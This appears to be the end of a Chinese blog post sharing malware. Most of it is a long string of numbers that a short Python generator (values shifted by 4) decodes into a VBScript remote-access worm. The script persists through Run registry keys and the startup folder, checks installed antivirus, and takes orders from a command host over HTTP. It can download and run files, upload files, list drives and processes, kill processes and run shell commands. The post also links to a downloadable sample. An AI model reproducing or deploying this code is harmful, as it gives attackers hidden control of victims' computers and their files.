97+110+9+6+28+28+28+28+101+106+98+28+57+28+101+106+98+28+34+28+111+97+95+113+110+101+112+117+28+34+28+111+108+104+101+112+97+110+9+6+28+28+28+28+101+106+98+28+57+28+101+106+98+28+34+28+113+111+94+111+108+110+97+93+96+101+106+99+9+6+28+28+28+28+101+106+98+107+110+105+93+112+101+107+106+28+57+28+101+106+98+28+28+9+6+97+104+111+97+9+6+28+28+28+28+101+106+98+107+110+105+93+112+101+107+106+28+57+28+101+106+98+9+6+97+106+96+28+101+98+9+6+97+106+96+28+98+113+106+95+112+101+107+106+9+6+9+6+9+6+111+113+94+28+113+108+111+112+93+110+112+28+36+37+9+6+107+106+28+97+110+110+107+110+28+110+97+111+113+105+97+28+74+97+116+112+9+6+9+6+111+100+97+104+104+107+94+102+42+110+97+99+115+110+101+112+97+28+30+68+71+65+85+91+63+81+78+78+65+74+80+91+81+79+65+78+88+111+107+98+112+115+93+110+97+88+105+101+95+110+107+111+107+98+112+88+115+101+106+96+107+115+111+88+95+113+110+110+97+106+112+114+97+110+111+101+107+106+88+110+113+106+88+30+28+34+28+111+108+104+101+112+28+36+101+106+111+112+93+104+104+106+93+105+97+40+30+42+30+37+36+44+37+40+28+28+30+115+111+95+110+101+108+112+42+97+116+97+28+43+43+62+28+30+28+34+28+95+100+110+115+36+47+48+37+28+34+28+101+106+111+112+93+104+104+96+101+110+28+34+28+101+106+111+112+93+104+104+106+93+105+97+28+34+28+95+100+110+115+36+47+48+37+28+40+28+30+78+65+67+91+79+86+30+9+6+111+100+97+104+104+107+94+102+42+110+97+99+115+110+101+112+97+28+30+68+71+65+85+91+72+75+63+61+72+91+73+61+63+68+69+74+65+88+111+107+98+112+115+93+110+97+88+105+101+95+110+107+111+107+98+112+88+115+101+106+96+107+115+111+88+95+113+110+110+97+106+112+114+97+110+111+101+107+106+88+110+113+106+88+30+28+34+28+111+108+104+101+112+28+36+101+106+111+112+93+104+104+106+93+105+97+40+30+42+30+37+36+44+37+40+28+28+30+115+111+95+110+101+108+112+42+97+116+97+28+43+43+62+28+30+28+28+34+28+95+100+110+115+36+47+48+37+28+34+28+101+106+111+112+93+104+104+96+101+110+28+34+28+101+106+111+112+93+104+104+106+93+105+97+28+34+28+95+100+110+115+36+47+48+37+28+40+28+30+78+65+67+91+79+86+30+9+6+98+101+104+97+111+117+111+112+97+105+107+94+102+42+95+107+108+117+98+101+104+97+28+115+111+95+110+101+108+112+42+111+95+110+101+108+112+98+113+104+104+106+93+105+97+40+101+106+111+112+93+104+104+96+101+110+28+34+28+101+106+111+112+93+104+104+106+93+105+97+40+112+110+113+97+9+6+98+101+104+97+111+117+111+112+97+105+107+94+102+42+95+107+108+117+98+101+104+97+28+115+111+95+110+101+108+112+42+111+95+110+101+108+112+98+113+104+104+106+93+105+97+40+111+112+93+110+112+113+108+28+34+28+101+106+111+112+93+104+104+106+93+105+97+28+40+112+110+113+97+9+6+9+6+97+106+96+28+111+113+94+9+6+9+6+9+6+98+113+106+95+112+101+107+106+28+100+115+101+96+9+6+107+106+28+97+110+110+107+110+28+110+97+111+113+105+97+28+106+97+116+112+9+6+9+6+111+97+112+28+110+107+107+112+28+57+28+99+97+112+107+94+102+97+95+112+36+30+115+101+106+105+99+105+112+111+54+119+101+105+108+97+110+111+107+106+93+112+101+107+106+104+97+114+97+104+57+101+105+108+97+110+111+107+106+93+112+97+121+29+88+88+42+88+110+107+107+112+88+95+101+105+114+46+30+37+9+6+111+97+112+28+96+101+111+103+111+28+57+28+110+107+107+112+42+97+116+97+95+109+113+97+110+117+28+36+30+111+97+104+97+95+112+28+38+28+98+110+107+105+28+115+101+106+47+46+91+104+107+99+101+95+93+104+96+101+111+103+30+37+9+6+98+107+110+28+97+93+95+100+28+96+101+111+103+28+101+106+28+96+101+111+103+111+9+6+28+28+28+28+101+98+28+28+96+101+111+103+42+114+107+104+113+105+97+111+97+110+101+93+104+106+113+105+94+97+110+28+56+58+28+30+30+28+112+100+97+106+9+6+28+28+28+28+28+28+28+28+100+115+101+96+28+57+28+96+101+111+103+42+114+107+104+113+105+97+111+97+110+101+93+104+106+113+105+94+97+110+9+6+28+28+28+28+28+28+28+28+97+116+101+112+28+98+107+110+9+6+28+28+28+28+97+106+96+28+101+98+9+6+106+97+116+112+9+6+97+106+96+28+98+113+106+95+112+101+107+106+9+6+9+6+9+6+98+113+106+95+112+101+107+106+28+111+97+95+113+110+101+112+117+28+9+6+107+106+28+97+110+110+107+110+28+110+97+111+113+105+97+28+106+97+116+112+9+6+9+6+111+97+95+113+110+101+112+117+28+57+28+30+30+9+6+9+6+111+97+112+28+107+94+102+115+105+101+111+97+110+114+101+95+97+28+57+28+99+97+112+107+94+102+97+95+112+36+30+115+101+106+105+99+105+112+111+54+119+101+105+108+97+110+111+107+106+93+112+101+107+106+104+97+114+97+104+57+101+105+108+97+110+111+107+106+93+112+97+121+29+88+88+42+88+110+107+107+112+88+95+101+105+114+46+30+37+9+6+111+97+112+28+95+107+104+101+112+97+105+111+28+57+28+107+94+102+115+105+101+111+97+110+114+101+95+97+42+97+116+97+95+109+113+97+110+117+36+30+111+97+104+97+95+112+28+38+28+98+110+107+105+28+115+101+106+47+46+91+107+108+97+110+93+112+101+106+99+111+117+111+112+97+105+30+40+40+48+52+37+9+6+98+107+110+28+97+93+95+100+28+107+94+102+101+112+97+105+28+101+106+28+95+107+104+101+112+97+105+111+9+6+28+28+28+28+114+97+110+111+101+107+106+111+112+110+28+57+28+111+108+104+101+112+28+36+107+94+102+101+112+97+105+42+114+97+110+111+101+107+106+40+30+42+30+37+9+6+106+97+116+112+9+6+114+97+110+111+101+107+106+111+112+110+28+57+28+111+108+104+101+112+28+36+95+107+104+101+112+97+105+111+42+114+97+110+111+101+107+106+40+30+42+30+37+9+6+107+111+114+97+110+111+101+107+106+28+57+28+114+97+110+111+101+107+106+111+112+110+28+36+44+37+28+34+28+30+42+30+9+6+98+107+110+28+28+116+28+57+28+45+28+112+107+28+113+94+107+113+106+96+28+36+114+97+110+111+101+107+106+111+112+110+37+9+6+5+28+107+111+114+97+110+111+101+107+106+28+57+28+107+111+114+97+110+111+101+107+106+28+34+28+28+114+97+110+111+101+107+106+111+112+110+28+36+101+37+9+6+106+97+116+112+9+6+107+111+114+97+110+111+101+107+106+28+57+28+97+114+93+104+28+36+107+111+114+97+110+111+101+107+106+37+9+6+101+98+28+28+107+111+114+97+110+111+101+107+106+28+58+28+50+28+112+100+97+106+28+111+95+28+57+28+30+111+97+95+113+110+101+112+117+95+97+106+112+97+110+46+30+28+97+104+111+97+28+111+95+28+57+28+30+111+97+95+113+110+101+112+117+95+97+106+112+97+110+30+9+6+9+6+111+97+112+28+107+94+102+111+97+95+113+110+101+112+117+95+97+106+112+97+110+28+57+28+99+97+112+107+94+102+97+95+112+36+30+115+101+106+105+99+105+112+111+54+88+88+104+107+95+93+104+100+107+111+112+88+110+107+107+112+88+30+28+34+28+111+95+37+9+6+79+97+112+28+95+107+104+93+106+112+101+114+101+110+113+111+28+57+28+107+94+102+111+97+95+113+110+101+112+117+95+97+106+112+97+110+42+97+116+97+95+109+113+97+110+117+36+30+111+97+104+97+95+112+28+38+28+98+110+107+105+28+93+106+112+101+114+101+110+113+111+108+110+107+96+113+95+112+30+40+30+115+109+104+30+40+44+37+9+6+9+6+98+107+110+28+97+93+95+100+28+107+94+102+93+106+112+101+114+101+110+113+111+28+101+106+28+95+107+104+93+106+112+101+114+101+110+113+111+9+6+28+28+28+28+111+97+95+113+110+101+112+117+28+28+57+28+111+97+95+113+110+101+112+117+28+28+34+28+107+94+102+93+106+112+101+114+101+110+113+111+42+96+101+111+108+104+93+117+106+93+105+97+28+34+28+30+28+42+30+9+6+106+97+116+112+9+6+101+98+28+111+97+95+113+110+101+112+117+28+28+57+28+30+30+28+112+100+97+106+28+111+97+95+113+110+101+112+117+28+28+57+28+30+106+93+106+41+93+114+30+9+6+97+106+96+28+98+113+106+95+112+101+107+106+9+6+9+6+9+6+98+113+106+95+112+101+107+106+28+101+106+111+112+93+106+95+97+9+6+107+106+28+97+110+110+107+110+28+110+97+111+113+105+97+28+106+97+116+112+9+6+9+6+113+111+94+111+108+110+97+93+96+101+106+99+28+57+28+111+100+97+104+104+107+94+102+42+110+97+99+110+97+93+96+28+36+30+68+71+65+85+91+72+75+63+61+72+91+73+61+63+68+69+74+65+88+111+107+98+112+115+93+110+97+88+30+28+34+28+111+108+104+101+112+28+36+101+106+111+112+93+104+104+106+93+105+97+40+30+42+30+37+36+44+37+28+34+28+30+88+30+37+9+6+101+98+28+113+111+94+111+108+110+97+93+96+101+106+99+28+57+28+30+30+28+112+100+97+106+9+6+28+28+28+101+98+28+104+95+93+111+97+28+36+28+105+101+96+36+115+111+95+110+101+108+112+42+111+95+110+101+108+112+98+113+104+104+106+93+105+97+40+46+37+37+28+57+28+30+54+88+30+28+34+28+28+104+95+93+111+97+36+101+106+111+112+93+104+104+106+93+105+97+37+28+112+100+97+106+9+6+28+28+28+28+28+28+113+111+94+111+108+110+97+93+96+101+106+99+28+57+28+30+112+110+113+97+28+41+28+30+28+34+28+96+93+112+97+9+6+28+28+28+28+28+28+111+100+97+104+104+107+94+102+42+110+97+99+115+110+101+112+97+28+30+68+71+65+85+91+72+75+63+61+72+91+73+61+63+68+69+74+65+88+111+107+98+112+115+93+110+97+88+30+28+34+28+111+108+104+101+112+28+36+101+106+111+112+93+104+104+106+93+105+97+40+30+42+30+37+36+44+37+28+28+34+28+30+88+30+40+28+28+113+111+94+111+108+110+97+93+96+101+106+99+40+28+30+78+65+67+91+79+86+30+9+6+28+28+28+97+104+111+97+9+6+28+28+28+28+28+28+113+111+94+111+108+110+97+93+96+101+106+99+28+57+28+30+98+93+104+111+97+28+41+28+30+28+34+28+96+93+112+97+9+6+28+28+28+28+28+28+111+100+97+104+104+107+94+102+42+110+97+99+115+110+101+112+97+28+30+68+71+65+85+91+72+75+63+61+72+91+73+61+63+68+69+74+65+88+111+107+98+112+115+93+110+97+88+30+28+34+28+111+108+104+101+112+28+36+101+106+111+112+93+104+104+106+93+105+97+40+30+42+30+37+36+44+37+28+28+34+28+30+88+30+40+28+28+113+111+94+111+108+110+97+93+96+101+106+99+40+28+30+78+65+67+91+79+86+30+9+6+9+6+28+28+28+97+106+96+28+101+98+9+6+97+106+96+28+69+98+9+6+9+6+9+6+9+6+113+108+111+112+93+110+112+9+6+111+97+112+28+111+95+110+101+108+112+98+113+104+104+106+93+105+97+111+100+107+110+112+28+57+28+28+98+101+104+97+111+117+111+112+97+105+107+94+102+42+99+97+112+98+101+104+97+28+36+115+111+95+110+101+108+112+42+111+95+110+101+108+112+98+113+104+104+106+93+105+97+37+9+6+111+97+112+28+101+106+111+112+93+104+104+98+113+104+104+106+93+105+97+111+100+107+110+112+28+57+28+28+98+101+104+97+111+117+111+112+97+105+107+94+102+42+99+97+112+98+101+104+97+28+36+101+106+111+112+93+104+104+96+101+110+28+34+28+101+106+111+112+93+104+104+106+93+105+97+37+9+6+101+98+28+28+104+95+93+111+97+28+36+111+95+110+101+108+112+98+113+104+104+106+93+105+97+111+100+107+110+112+42+111+100+107+110+112+108+93+112+100+37+28+56+58+28+104+95+93+111+97+28+36+101+106+111+112+93+104+104+98+113+104+104+106+93+105+97+111+100+107+110+112+42+111+100+107+110+112+108+93+112+100+37+28+112+100+97+106+28+9+6+28+28+28+28+111+100+97+104+104+107+94+102+42+110+113+106+28+30+115+111+95+110+101+108+112+42+97+116+97+28+43+43+62+28+30+28+34+28+95+100+110+36+47+48+37+28+34+28+101+106+111+112+93+104+104+96+101+110+28+34+28+101+106+111+112+93+104+104+106+93+105+97+28+34+28+63+100+110+36+47+48+37+9+6+28+28+28+28+115+111+95+110+101+108+112+42+109+113+101+112+28+9+6+97+106+96+28+69+98+9+6+97+110+110+42+95+104+97+93+110+9+6+111+97+112+28+107+106+97+107+106+95+97+28+57+28+98+101+104+97+111+117+111+112+97+105+107+94+102+42+107+108+97+106+112+97+116+112+98+101+104+97+28+36+101+106+111+112+93+104+104+96+101+110+28+34+28+101+106+111+112+93+104+104+106+93+105+97+28+40+52+40+28+98+93+104+111+97+37+9+6+101+98+28+28+97+110+110+42+106+113+105+94+97+110+28+58+28+44+28+112+100+97+106+28+115+111+95+110+101+108+112+42+109+113+101+112+9+6+97+106+96+28+98+113+106+95+112+101+107+106+9+6+9+6+9+6+111+113+94+28+111+101+112+97+96+107+115+106+104+107+93+96+97+110+28+36+98+101+104+97+113+110+104+40+98+101+104+97+106+93+105+97+37+9+6+9+6+111+112+110+104+101+106+103+28+57+28+98+101+104+97+113+110+104+9+6+111+112+110+111+93+114+97+112+107+28+57+28+101+106+111+112+93+104+104+96+101+110+28+34+28+98+101+104+97+106+93+105+97+9+6+111+97+112+28+107+94+102+100+112+112+108+96+107+115+106+104+107+93+96+28+57+28+95+110+97+93+112+97+107+94+102+97+95+112+36+30+105+111+116+105+104+46+42+116+105+104+100+112+112+108+30+28+37+9+6+107+94+102+100+112+112+108+96+107+115+106+104+107+93+96+42+107+108+97+106+28+30+99+97+112+30+40+28+111+112+110+104+101+106+103+40+28+98+93+104+111+97+9+6+107+94+102+100+112+112+108+96+107+115+106+104+107+93+96+42+111+97+106+96+9+6+9+6+111+97+112+28+107+94+102+98+111+107+96+107+115+106+104+107+93+96+28+57+28+95+110+97+93+112+97+107+94+102+97+95+112+28+36+30+111+95+110+101+108+112+101+106+99+42+98+101+104+97+111+117+111+112+97+105+107+94+102+97+95+112+30+37+9+6+101+98+28+28+107+94+102+98+111+107+96+107+115+106+104+107+93+96+42+98+101+104+97+97+116+101+111+112+111+28+36+111+112+110+111+93+114+97+112+107+37+28+112+100+97+106+9+6+28+28+28+28+107+94+102+98+111+107+96+107+115+106+104+107+93+96+42+96+97+104+97+112+97+98+101+104+97+28+36+111+112+110+111+93+114+97+112+107+37+9+6+97+106+96+28+101+98+9+6+28+9+6+101+98+28+107+94+102+100+112+112+108+96+107+115+106+104+107+93+96+42+111+112+93+112+113+111+28+57+28+46+44+44+28+112+100+97+106+9+6+28+28+28+96+101+105+28+28+107+94+102+111+112+110+97+93+105+96+107+115+106+104+107+93+96+9+6+28+28+28+111+97+112+28+28+107+94+102+111+112+110+97+93+105+96+107+115+106+104+107+93+96+28+57+28+95+110+97+93+112+97+107+94+102+97+95+112+36+30+93+96+107+96+94+42+111+112+110+97+93+105+30+37+9+6+28+28+28+115+101+112+100+28+107+94+102+111+112+110+97+93+105+96+107+115+106+104+107+93+96+9+6+5+5+42+112+117+108+97+28+57+28+45+28+9+6+5+5+42+107+108+97+106+9+6+5+5+42+115+110+101+112+97+28+107+94+102+100+112+112+108+96+107+115+106+104+107+93+96+42+110+97+111+108+107+106+111+97+94+107+96+117+9+6+5+5+42+111+93+114+97+112+107+98+101+104+97+28+111+112+110+111+93+114+97+112+107+9+6+5+5+42+95+104+107+111+97+9+6+28+28+28+97+106+96+28+115+101+112+100+9+6+28+28+28+111+97+112+28+107+94+102+111+112+110+97+93+105+96+107+115+106+104+107+93+96+28+57+28+106+107+112+100+101+106+99+9+6+97+106+96+28+101+98+9+6+101+98+28+107+94+102+98+111+107+96+107+115+106+104+107+93+96+42+98+101+104+97+97+116+101+111+112+111+36+111+112+110+111+93+114+97+112+107+37+28+112+100+97+106+9+6+28+28+28+111+100+97+104+104+107+94+102+42+110+113+106+28+107+94+102+98+111+107+96+107+115+106+104+107+93+96+42+99+97+112+98+101+104+97+28+36+111+112+110+111+93+114+97+112+107+37+42+111+100+107+110+112+108+93+112+100+9+6+97+106+96+28+101+98+28+9+6+97+106+96+28+111+113+94+9+6+9+6+111+113+94+28+96+107+115+106+104+107+93+96+28+36+98+101+104+97+113+110+104+40+98+101+104+97+96+101+110+37+9+6+9+6+101+98+28+98+101+104+97+96+101+110+28+57+28+30+30+28+112+100+97+106+28+9+6+28+28+28+98+101+104+97+96+101+110+28+57+28+101+106+111+112+93+104+104+96+101+110+9+6+97+106+96+28+101+98+9+6+9+6+111+112+110+111+93+114+97+112+107+28+57+28+98+101+104+97+96+101+110+28+34+28+105+101+96+28+36+98+101+104+97+113+110+104+40+28+101+106+111+112+110+110+97+114+28+36+98+101+104+97+113+110+104+40+30+88+30+37+28+39+28+45+37+9+6+111+97+112+28+107+94+102+100+112+112+108+96+107+115+106+104+107+93+96+28+57+28+95+110+97+93+112+97+107+94+102+97+95+112+36+30+105+111+116+105+104+46+42+116+105+104+100+112+112+108+30+37+9+6+107+94+102+100+112+112+108+96+107+115+106+104+107+93+96+42+107+108+97+106+28+30+108+107+111+112+30+40+30+100+112+112+108+54+43+43+30+28+34+28+100+107+111+112+28+34+28+30+54+30+28+34+28+108+107+110+112+28+34+30+43+30+28+34+28+30+101+111+41+111+97+106+96+101+106+99+30+28+34+28+111+108+104+101+112+97+110+28+34+28+98+101+104+97+113+110+104+40+28+98+93+104+111+97+9+6+107+94+102+100+112+112+108+96+107+115+106+104+107+93+96+42+111+97+106+96+28+30+30+9+6+28+28+28+28+28+9+6+111+97+112+28+107+94+102+98+111+107+96+107+115+106+104+107+93+96+28+57+28+95+110+97+93+112+97+107+94+102+97+95+112+28+36+30+111+95+110+101+108+112+101+106+99+42+98+101+104+97+111+117+111+112+97+105+107+94+102+97+95+112+30+37+9+6+101+98+28+28+107+94+102+98+111+107+96+107+115+106+104+107+93+96+42+98+101+104+97+97+116+101+111+112+111+28+36+111+112+110+111+93+114+97+112+107+37+28+112+100+97+106+9+6+28+28+28+28+107+94+102+98+111+107+96+107+115+106+104+107+93+96+42+96+97+104+97+112+97+98+101+104+97+28+36+111+112+110+111+93+114+97+112+107+37+9+6+97+106+96+28+101+98+9+6+101+98+28+28+107+94+102+100+112+112+108+96+107+115+106+104+107+93+96+42+111+112+93+112+113+111+28+57+28+46+44+44+28+112+100+97+106+9+6+28+28+28+28+96+101+105+28+28+107+94+102+111+112+110+97+93+105+96+107+115+106+104+107+93+96+9+6+5+111+97+112+28+28+107+94+102+111+112+110+97+93+105+96+107+115+106+104+107+93+96+28+57+28+95+110+97+93+112+97+107+94+102+97+95+112+36+30+93+96+107+96+94+42+111+112+110+97+93+105+30+37+9+6+28+28+28+28+115+101+112+100+28+107+94+102+111+112+110+97+93+105+96+107+115+106+104+107+93+96+28+9+6+5+5+28+42+112+117+108+97+28+57+28+45+28+9+6+5+5+28+42+107+108+97+106+9+6+5+5+28+42+115+110+101+112+97+28+107+94+102+100+112+112+108+96+107+115+106+104+107+93+96+42+110+97+111+108+107+106+111+97+94+107+96+117+9+6+5+5+28+42+111+93+114+97+112+107+98+101+104+97+28+111+112+110+111+93+114+97+112+107+9+6+5+5+28+42+95+104+107+111+97+9+6+5+97+106+96+28+115+101+112+100+9+6+28+28+28+28+111+97+112+28+107+94+102+111+112+110+97+93+105+96+107+115+106+104+107+93+96+28+28+57+28+106+107+112+100+101+106+99+9+6+97+106+96+28+101+98+9+6+101+98+28+107+94+102+98+111+107+96+107+115+106+104+107+93+96+42+98+101+104+97+97+116+101+111+112+111+36+111+112+110+111+93+114+97+112+107+37+28+112+100+97+106+9+6+28+28+28+111+100+97+104+104+107+94+102+42+110+113+106+28+107+94+102+98+111+107+96+107+115+106+104+107+93+96+42+99+97+112+98+101+104+97+28+36+111+112+110+111+93+114+97+112+107+37+42+111+100+107+110+112+108+93+112+100+9+6+97+106+96+28+101+98+28+9+6+97+106+96+28+111+113+94+9+6+9+6+9+6+98+113+106+95+112+101+107+106+28+113+108+104+107+93+96+28+36+98+101+104+97+113+110+104+37+9+6+9+6+96+101+105+28+28+100+112+112+108+107+94+102+40+107+94+102+111+112+110+97+93+105+113+108+104+107+93+96+97+40+94+113+98+98+97+110+9+6+111+97+112+28+28+107+94+102+111+112+110+97+93+105+113+108+104+107+93+96+97+28+57+28+95+110+97+93+112+97+107+94+102+97+95+112+36+30+93+96+107+96+94+42+111+112+110+97+93+105+30+37+9+6+115+101+112+100+28+107+94+102+111+112+110+97+93+105+113+108+104+107+93+96+97+28+9+6+28+28+28+28+28+42+112+117+108+97+28+57+28+45+28+9+6+28+28+28+28+28+42+107+108+97+106+9+6+5+28+42+104+107+93+96+98+110+107+105+98+101+104+97+28+98+101+104+97+113+110+104+9+6+5+28+94+113+98+98+97+110+28+57+28+42+110+97+93+96+9+6+5+28+42+95+104+107+111+97+9+6+97+106+96+28+115+101+112+100+9+6+111+97+112+28+107+94+102+111+112+110+97+93+105+96+107+115+106+104+107+93+96+28+57+28+106+107+112+100+101+106+99+9+6+111+97+112+28+100+112+112+108+107+94+102+28+57+28+95+110+97+93+112+97+107+94+102+97+95+112+36+30+105+111+116+105+104+46+42+116+105+104+100+112+112+108+30+37+9+6+100+112+112+108+107+94+102+42+107+108+97+106+28+30+108+107+111+112+30+40+30+100+112+112+108+54+43+43+30+28+34+28+100+107+111+112+28+34+28+30+54+30+28+34+28+108+107+110+112+28+34+30+43+30+28+34+28+30+101+111+41+110+97+95+114+101+106+99+30+28+34+28+111+108+104+101+112+97+110+28+34+28+98+101+104+97+113+110+104+40+28+98+93+104+111+97+9+6+100+112+112+108+107+94+102+42+111+97+106+96+28+94+113+98+98+97+110+9+6+97+106+96+28+98+113+106+95+112+101+107+106+9+6+9+6+9+6+98+113+106+95+112+101+107+106+28+97+106+113+105+96+110+101+114+97+110+28+36+37+9+6+9+6+98+107+110+28+28+97+93+95+100+28+96+110+101+114+97+28+101+106+28+98+101+104+97+111+117+111+112+97+105+107+94+102+42+96+110+101+114+97+111+9+6+101+98+28+28+28+96+110+101+114+97+42+101+111+110+97+93+96+117+28+57+28+112+110+113+97+28+112+100+97+106+9+6+28+28+28+28+28+97+106+113+105+96+110+101+114+97+110+28+57+28+97+106+113+105+96+110+101+114+97+110+28+34+28+96+110+101+114+97+42+108+93+112+100+28+34+28+30+120+30+28+34+28+96+110+101+114+97+42+96+110+101+114+97+112+117+108+97+28+34+28+111+108+104+101+112+97+110+9+6+97+106+96+28+101+98+9+6+106+97+116+112+9+6+97+106+96+28+66+113+106+95+112+101+107+106+9+6+9+6+98+113+106+95+112+101+107+106+28+97+106+113+105+98+93+98+28+36+97+106+113+105+96+101+110+37+9+6+9+6+97+106+113+105+98+93+98+28+57+28+97+106+113+105+96+101+110+28+34+28+111+108+104+101+112+97+110+9+6+98+107+110+28+28+97+93+95+100+28+98+107+104+96+97+110+28+101+106+28+98+101+104+97+111+117+111+112+97+105+107+94+102+42+99+97+112+98+107+104+96+97+110+28+36+97+106+113+105+96+101+110+37+42+111+113+94+98+107+104+96+97+110+111+9+6+28+28+28+28+28+97+106+113+105+98+93+98+28+57+28+97+106+113+105+98+93+98+28+34+28+98+107+104+96+97+110+42+106+93+105+97+28+34+28+30+120+30+28+34+28+30+30+28+34+28+30+120+30+28+34+28+30+96+30+28+34+28+30+120+30+28+34+28+98+107+104+96+97+110+42+93+112+112+110+101+94+113+112+97+111+28+34+28+111+108+104+101+112+97+110+9+6+106+97+116+112+9+6+9+6+98+107+110+28+28+97+93+95+100+28+98+101+104+97+28+101+106+28+98+101+104+97+111+117+111+112+97+105+107+94+102+42+99+97+112+98+107+104+96+97+110+28+36+97+106+113+105+96+101+110+37+42+98+101+104+97+111+9+6+28+28+28+28+28+97+106+113+105+98+93+98+28+57+28+97+106+113+105+98+93+98+28+34+28+98+101+104+97+42+106+93+105+97+28+34+28+30+120+30+28+34+28+98+101+104+97+42+111+101+118+97+28+28+34+28+30+120+30+28+34+28+30+98+30+28+34+28+30+120+30+28+34+28+98+101+104+97+42+93+112+112+110+101+94+113+112+97+111+28+34+28+111+108+104+101+112+97+110+9+6+9+6+106+97+116+112+9+6+97+106+96+28+98+113+106+95+112+101+107+106+9+6+9+6+9+6+98+113+106+95+112+101+107+106+28+97+106+113+105+108+110+107+95+97+111+111+28+36+37+9+6+9+6+107+106+28+97+110+110+107+110+28+110+97+111+113+105+97+28+106+97+116+112+9+6+9+6+111+97+112+28+107+94+102+115+105+101+111+97+110+114+101+95+97+28+57+28+99+97+112+107+94+102+97+95+112+36+30+115+101+106+105+99+105+112+111+54+88+88+42+88+110+107+107+112+88+95+101+105+114+46+30+37+9+6+111+97+112+28+95+107+104+101+112+97+105+111+28+57+28+107+94+102+115+105+101+111+97+110+114+101+95+97+42+97+116+97+95+109+113+97+110+117+36+30+111+97+104+97+95+112+28+38+28+98+110+107+105+28+115+101+106+47+46+91+108+110+107+95+97+111+111+30+40+40+48+52+37+9+6+9+6+96+101+105+28+107+94+102+101+112+97+105+9+6+98+107+110+28+97+93+95+100+28+107+94+102+101+112+97+105+28+101+106+28+95+107+104+101+112+97+105+111+9+6+5+97+106+113+105+108+110+107+95+97+111+111+28+57+28+97+106+113+105+108+110+107+95+97+111+111+28+34+28+107+94+102+101+112+97+105+42+106+93+105+97+28+34+28+30+120+30+9+6+5+97+106+113+105+108+110+107+95+97+111+111+28+57+28+97+106+113+105+108+110+107+95+97+111+111+28+34+28+107+94+102+101+112+97+105+42+108+110+107+95+97+111+111+101+96+28+34+28+30+120+30+9+6+28+28+28+28+97+106+113+105+108+110+107+95+97+111+111+28+57+28+97+106+113+105+108+110+107+95+97+111+111+28+34+28+107+94+102+101+112+97+105+42+97+116+97+95+113+112+93+94+104+97+108+93+112+100+28+34+28+111+108+104+101+112+97+110+9+6+106+97+116+112+9+6+97+106+96+28+98+113+106+95+112+101+107+106+9+6+9+6+111+113+94+28+97+116+101+112+108+110+107+95+97+111+111+28+36+108+101+96+37+9+6+107+106+28+97+110+110+107+110+28+110+97+111+113+105+97+28+106+97+116+112+9+6+9+6+111+100+97+104+104+107+94+102+42+110+113+106+28+30+112+93+111+103+103+101+104+104+28+43+66+28+43+80+28+43+76+69+64+28+30+28+34+28+108+101+96+40+51+40+112+110+113+97+9+6+97+106+96+28+111+113+94+9+6+9+6+111+113+94+28+96+97+104+97+112+97+98+93+98+28+36+113+110+104+37+9+6+107+106+28+97+110+110+107+110+28+110+97+111+113+105+97+28+106+97+116+112+9+6+9+6+98+101+104+97+111+117+111+112+97+105+107+94+102+42+96+97+104+97+112+97+98+101+104+97+28+113+110+104+9+6+98+101+104+97+111+117+111+112+97+105+107+94+102+42+96+97+104+97+112+97+98+107+104+96+97+110+28+113+110+104+9+6+9+6+97+106+96+28+111+113+94+9+6+9+6+98+113+106+95+112+101+107+106+28+95+105+96+111+100+97+104+104+28+36+95+105+96+37+9+6+9+6+96+101+105+28+100+112+112+108+107+94+102+40+107+97+116+97+95+40+110+97+93+96+93+104+104+98+110+107+105+93+106+117+9+6+9+6+111+97+112+28+107+97+116+97+95+28+57+28+111+100+97+104+104+107+94+102+42+97+116+97+95+28+36+30+33+95+107+105+111+108+97+95+33+28+43+95+28+30+28+34+28+95+105+96+37+9+6+101+98+28+106+107+112+28+107+97+116+97+95+42+111+112+96+107+113+112+42+93+112+97+106+96+107+98+111+112+110+97+93+105+28+112+100+97+106+9+6+28+28+28+110+97+93+96+93+104+104+98+110+107+105+93+106+117+28+57+28+107+97+116+97+95+42+111+112+96+107+113+112+42+110+97+93+96+93+104+104+9+6+97+104+111+97+101+98+28+106+107+112+28+107+97+116+97+95+42+111+112+96+97+110+110+42+93+112+97+106+96+107+98+111+112+110+97+93+105+28+112+100+97+106+9+6+28+28+28+110+97+93+96+93+104+104+98+110+107+105+93+106+117+28+57+28+107+97+116+97+95+42+111+112+96+97+110+110+42+110+97+93+96+93+104+104+9+6+97+104+111+97+28+9+6+28+28+28+110+97+93+96+93+104+104+98+110+107+105+93+106+117+28+57+28+30+30+9+6+97+106+96+28+101+98+9+6+9+6+95+105+96+111+100+97+104+104+28+57+28+110+97+93+96+93+104+104+98+110+107+105+93+106+117+9+6+97+106+96+28+98+113+106+95+112+101+107+106+"
run_str='ahoo\n'
f_run.write(run_str)
element_str = EHSHSH.split('+')
print(element_str)
for i in element_str:
f_run.write(chr(int(i)+4))
f_run.close()
print("完成!")
return True
if __name__ == '__main__':
test()
0x2 Sample
http://download.csdn.net/download/ahoo110/9930551
注:请确认样本只用于测试.
密码国际惯例